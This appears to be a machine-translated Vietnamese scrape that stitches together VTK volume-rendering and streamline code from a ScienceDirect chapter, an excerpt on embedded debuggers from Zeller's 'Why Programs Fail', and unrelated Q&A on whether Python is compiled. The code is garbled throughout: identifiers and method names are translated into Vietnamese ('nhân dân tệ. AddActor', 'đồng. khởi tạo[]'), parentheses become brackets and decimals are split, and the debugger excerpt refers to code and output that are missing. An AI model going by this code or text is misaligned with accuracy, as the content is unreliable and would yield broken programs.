14 màu. AddRGBPoint[phạm vi[0], 0. 0, 0. 0, 1. 0]

15 màu. AddRGBPoint[[phạm vi[0] + phạm vi[1]] ∗ 0. 75, 0. 0, 1. 0, 0. 0]

16 color. AddRGBPoint[range[1], 1. 0, 0. 0, 0. 0]

17

18 opacity = vtk. vtkPiecewiseFunction[]

19 opacity. AddPoint[range[0], 0. 0]

20 opacity. AddPoint[[range[0] + range[1]] ∗ 0. 5, 0. 0]

21 opacity. AddPoint[range[1], 1. 0]

22

23 properties = vtk. vtkVolumeProperty[]

24 properties. SetColor[color]

25 properties. SetScalarOpacity[opacity]

26 properties. SetInterpolationTypeToLinear[]

27 properties. ShadeOn[]

28

29 actor = vtk. vtkVolume[]

30 actor. SetMapper[mapper]

31 actor. SetProperty[properties]

32

33 renderer = vtk. vtkRenderer[]

34 renderWindow = vtk. vtkRenderWindow[]

35 kết xuấtCửa sổ. AddRenderer[trình kết xuất]

36

37 trình kết xuất. AddViewProp[diễn viên]

38 trình kết xuất. Đặt lại Camera[]

39 trình kết xuất. SetBackground[0. 9, 0. 9, 0. 9]

40 kết xuấtCửa sổ. ĐặtKích thước[600, 600]

41

42 tương tác_ren = vtk. vtkRenderWindowInteractor[]

43 tương tác_ren. SetRenderWindow[renderWindow]

44 tương tác_ren. khởi tạo[]

45 tương tác_ren. Bắt đầu[]

Mã 12. 5. Ví dụ kết xuất khối lượng sử dụng VTK. Dữ liệu thử nghiệm được cung cấp bằng vtkRTAnalyticSource ở dòng 3. Cài đặt bản đồ màu và độ mờ được thực hiện dựa trên phạm vi vô hướng của hình ảnh. The resulting visualization is shown in Fig. 12. 16 .

Dòng chảy trong VTK được thực hiện bằng cách sử dụng lớp StreamTracer. Tinh giản hóa yêu cầu dữ liệu vectơ làm đầu vào, nhưng VTK cũng cung cấp phương tiện để lấy độ dốc của dữ liệu vô hướng và sau đó gán đầu ra dưới dạng vectơ có thể được hiển thị dưới dạng tinh giản. Toàn bộ quy trình này được thể hiện trong Mã 12. 6 và Hình. 12. 17 . Có thể chỉ định điểm bắt đầu cho một dòng đơn lẻ, như được minh họa trong nhận xét ở dòng 31 của Mã 12. 6, hoặc có thể tạo một vùng hạt giống hợp lý hóa để bắt đầu nhiều hợp lý hóa, như được minh họa trong các dòng 23–27.

Hình 12. 17 . Hợp lý hóa trong VTK bằng cách sử dụng độ dốc của dữ liệu được hiển thị trong Hình. 12. 15 và 12. 16 . Mã tạo ra các tinh giản này trong VTK được hiển thị trong Mã 12. 6.

1  nhập vtk

2

 3  rt = vtk. vtkRTAnalyticSource[]   # dữ liệu để thử nghiệm

4  rt. Cập nhật[]

5

6  #tính độ dốc của dữ liệu thử nghiệm

7  độ dốc = vtk. vtkImageGradient[]

8  độ dốc. SetDimensionality[3]

9  độ dốc. SetInputConnection[rt. GetOutputPort[]]

độ dốc 10. Cập nhật[]

11

12 # Tạo một véc tơ

13 aa = vtk. vtkAssignAttribute[]

14 aa. Gán[“SCALARS”,“VECTORS”,“POINT_DATA”]

15 aa. SetInputConnection[độ dốc. GetOutputPort[]]

16 aa. Cập nhật[]

17

18 # Tạo Dòng Dòng

19 rk = vtk. vtkRungeKutta45[]

20 streamer = vtk. vtkStreamTracer[]

21 người truyền phát. SetInputConnection[aa. GetOutputPort[]]

22

23 # gieo dòng chảy

24 hạt = vtk. vtkPointSource[]

25 hạt. Bán kính đặt[1]

26 hạt. SetCenter[1,1. 1,0. 5]

27 hạt. SetNumberOfPoints[50]

28

29 # tùy chọn cho streamer

30 người truyền phát. SetSourceConnection[hạt giống. GetOutputPort[]]

31 #streamer. SetStartPosition[1. 0,1. 1,0. 5]

32 người truyền phát. SetMaximumPropagation[500]

33 người truyền phát. SetMinimumIntegrationStep[0. 01]

34 người truyền phát. SetMaximumIntegrationStep[0. 5]

35 truyền phát. Bộ tích hợp [rk]

36 người truyền phát. SetMaximumError[1. 0e-8]

37

38 mapStream = vtk. vtkPolyDataMapper[]

39 mapStream. SetInputConnection[bộ truyền phát. GetOutputPort[]]

40 luồngActor = vtk. vtkActor[]

41 luồngDiễn viên. SetMapper[mapStream]

42

43 ren = vtk. vtkRenderer[]

44 renWin = vtk. vtkRenderWindow[]

45 renThắng. AddRenderer[ren]

46 iren = vtk. vtkRenderWindowInteractor[]

47 đồng. SetRenderWindow[renWin]

48

49 nhân dân tệ. AddActor[streamActor]

50 nhân dân tệ. SetBackground[0. 9,0. 9,0. 9]

51 renWin. SetSize[300,300]

52 đồng. khởi tạo[]

53 đồng. Bắt đầu[]

Mã 12. 6. Mã ví dụ sử dụng vtkRTAnalyticSource để tạo hợp lý hóa với VTK. The gradient of the test data is computed in lines 7–10; the gradient is then assigned as vector data for use by the vtkStreamTracer filter for producing streamlines. Điểm bắt đầu cho các đường tinh giản được tạo ra từ các nguồn điểm trong một hình cầu được tính toán trong các dòng 24–27. Một điểm bắt đầu duy nhất cũng có thể được chỉ định, như được minh họa trong nhận xét ở dòng 31. Kết quả từ mã này được hiển thị trong Hình. 12. 17 .

Mặc dù thư viện VTK cung cấp giải pháp đường ống trực quan hóa hoàn chỉnh cho người dùng HPC, nhưng nhiều người dùng sẽ thích giải pháp trực quan hóa chìa khóa trao tay được điều khiển bởi giao diện người dùng đồ họa [GUI] mạnh mẽ và sẵn sàng cho việc sử dụng siêu máy tính mà không cần phải viết bất kỳ mã nào. Hai công cụ trực quan chìa khóa trao tay được sử dụng rộng rãi kết hợp các thuật toán mạnh mẽ của VTK là ParaView và VisIt

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9780124201583000125

Quan sát sự thật

Andreas Zeller, trong Tại sao chương trình thất bại [Ấn bản thứ hai] , 2009

8. 3. 7 trình gỡ lỗi nhúng

Theo truyền thống, trình gỡ lỗi gọi chương trình cần gỡ lỗi. Tuy nhiên, người ta cũng có thể thiết lập một hệ thống sao cho tự nó gọi trình gỡ lỗi [hoặc cơ sở tương tác tương tự]. Trong một ngôn ngữ được thông dịch chẳng hạn như PYTHON, bạn có thể yêu cầu một chương trình gọi trình thông dịch tương tác, cho phép bạn khám phá tất cả trạng thái của chương trình tại . Sau đây là một đoạn mã rất đơn giản gọi trình thông dịch ở giữa vòng lặp bằng cách gọi mã PYTHON . tương tác[] với phạm vi cục bộ.

Nếu bạn thực thi mã này, bạn có được

Trong trình thông dịch, bạn có thể nhập các biểu thức tùy ý, sau đó được đánh giá. Bạn cũng có thể gọi và đánh giá các chức năng tùy ý

Tuy nhiên, xin lưu ý rằng những thay đổi đối với các biến cục bộ có thể không ảnh hưởng đến các phiên bản [được lưu trong bộ nhớ cache] trong phần còn lại của quá trình thực thi. Do đó, nếu bạn nhập i = 1 , thì i trong phần chính . Khi bạn hoàn thành việc khám phá trạng thái, việc rời khỏi trình thông dịch sẽ tiếp tục thực thi chương trình.

Cơ sở sửa lỗi tương tác được nhúng như vậy có thể được kích hoạt bằng cách chèn các lệnh gọi thích hợp vào mã, bằng cách kích hoạt nó từ bên ngoài hoặc theo các điều kiện lỗi cụ thể. Tuy nhiên, xin lưu ý rằng cơ sở này không được kích hoạt trong mã sản xuất. Nếu không, kẻ xấu sẽ rất vui khi giành được quyền kiểm soát hoàn toàn hệ thống của bạn

Tại sao Python không phải là trình biên dịch?

Python là một ngôn ngữ được thông dịch, có nghĩa là mã nguồn của chương trình Python được chuyển đổi thành mã byte, sau đó được thực thi bởi máy ảo Python. Python khác với các ngôn ngữ được biên dịch chính, chẳng hạn như C và C + +, vì Mã Python không bắt buộc phải xây dựng và liên kết như mã cho các ngôn ngữ này .

Python có thể được sử dụng làm trình biên dịch không?

Phần lớn, Python là ngôn ngữ được thông dịch chứ không phải ngôn ngữ được biên dịch , mặc dù biên dịch là một bước. Mã Python, được viết bằng. py trước tiên được biên dịch thành mã byte [được thảo luận chi tiết hơn] được lưu trữ với một. pyc hoặc.

Ngôn ngữ nào không sử dụng trình biên dịch?

Ví dụ, chương trình C của bạn cần một trình biên dịch để chuyển đổi mã của nó thành mã máy gốc. Nhưng mặt khác, JavaScript không cần trình biên dịch mà sử dụng trình thông dịch để chuyển đổi mã của nó thành mã máy gốc. Vì vậy, đó là lý do tại sao JavaScript đôi khi được gọi là “Ngôn ngữ viết kịch bản”.

Tại sao lại là trình biên dịch và thông dịch Python?

Trình thông dịch mỗi lần chỉ dịch một câu lệnh của chương trình thành mã máy. Trình biên dịch quét toàn bộ chương trình và dịch toàn bộ thành mã máy cùng một lúc . Một thông dịch viên mất rất ít thời gian để phân tích mã nguồn. Tuy nhiên, tổng thời gian để thực hiện quá trình chậm hơn nhiều.

Chủ Đề